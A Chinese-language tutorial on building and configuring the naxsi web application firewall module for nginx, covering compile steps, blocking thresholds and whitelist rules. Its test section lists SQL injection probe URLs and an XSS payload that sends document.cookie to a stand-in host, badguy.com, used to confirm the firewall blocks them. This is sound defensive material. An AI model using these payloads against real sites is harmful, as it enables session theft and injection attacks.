Nginx使用naxsi防xss、防注入攻擊配置

== 對於nginx有相應模塊來完成WAF構建,此處使用的是naxsi模塊。  ==

 
1、安裝前提
 
  1.必須安裝了nginx並可提供基本服務(這個是添加模塊兒的前提,本身google吧);
  2.下載naxsi模塊:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz  ;
 
2、安裝說明
 
  1、tar -xzvf naxsi-core-0.50.tgz 解壓,並進入naxsi-core-0.50/naxsi_src目錄下;
  2、執行make & make install 命令,固然也能夠使用 ./configure 指定安裝位置等參數;
  3、完成安裝後,須要將其與nginx關聯起來:
  》》在安裝好的nginx/sbin/下執行./nginx -V 命令,能夠查看到nginx的原有./configure配置,複製後並添加naxsi模塊的路徑以下。
     對於這次安裝 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目錄)下
     執行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
     添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
     能夠看到執行過程顯示,最後能夠看到,naxsi被關聯,configure成功。
  4、對其執行 make & make install 命令,從新編譯;
 
3、配置說明
 
    官網說明見 :  http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi  ;
  1、將naxsi的:naxsi-core-0.50/naxsi_config/目錄下核心配置naxsi_core.rules拷貝到nginx/conf/目錄下;
  2、在nginx/conf/目錄下新建naxsi_nbs.rules文件,用以配置使用;
  3、在nginx.conf中配置:
   1>、添加naxsi核心配置
   
?
1
2
3
4
5
6
7
http {
   #include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
   #若步作上第一步,則須要指定全路徑
    include  naxsi_core.rules;
    include  mime.types;
    .....
   }
 

   2>?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  # 配置防攻擊
        location /xss {
        include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #設置 whitelist (白名單)配置 
         default_type text/plain;
 
        content_by_lua '
          ngx.say("({\'Test xss ,come in please!!!\'})");
        ';
 
         root html;
      }
 
 
location /RequestDenied {
 
   return 403;
          #proxy_pass  [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
  ]}
        error_page 403 /403.html; # 在nginx/html/目錄下新建的頁面用來提示攔截
 

 
     3>、配置naxsi_nbs.rules文件
 
 
?
1
2
3
4
5
6
7
8
9
10
11
#LearningMode; #Enables learning mode
 SecRulesEnabled;
 #SecRulesDisabled;
 DeniedUrl "/RequestDenied";
 
   ## check rules
 CheckRule "$SQL >= 8" BLOCK;
 CheckRule "$RFI >= 8" BLOCK;
 CheckRule "$TRAVERSAL >= 4"
 BLOCK; CheckRule "$EVADE >= 4" BLOCK; 
 CheckRule "$XSS >= 8" BLOCK;
 

 
    4、還能夠添加白名單naxsi_BasicRule.conf
      測試使用:
       BasicRule wl:0 "mz:$ARGS_VAR:script";
      BasicRule wl:0 "mz:$ARGS_VAR:id";
      表示xss攻擊正常是被攔截的,若被添加白名單,則不被攔截:此處是Get 參數名若爲id 或者script,則不被攔截;
 
?
1
2
3
4
5
6
7
8
9
BasicRule:規則說明,具體參見: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx   location context to enable a rule. 
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.
 

 
 4、測試使用說明  
  1、啓動nginx(若已經啓動,kill掉原來執行的nginx),再從新啓動,這點要切記!
  2、測試連接:
    
?
1
2
3
4
5
6
7
8
http://10.142.138.61:8888/xss/                        經過
    http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1    經過,由於配置到白名單
    http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1  不經過,含有條件注入
    http://10.142.138.61:8888/xss/?name=%28%29            不經過,特殊字符
    http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
                                                         不經過,參數內容含腳本注入
    http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
                                                         不經過
 
相關文章
相關標籤/搜索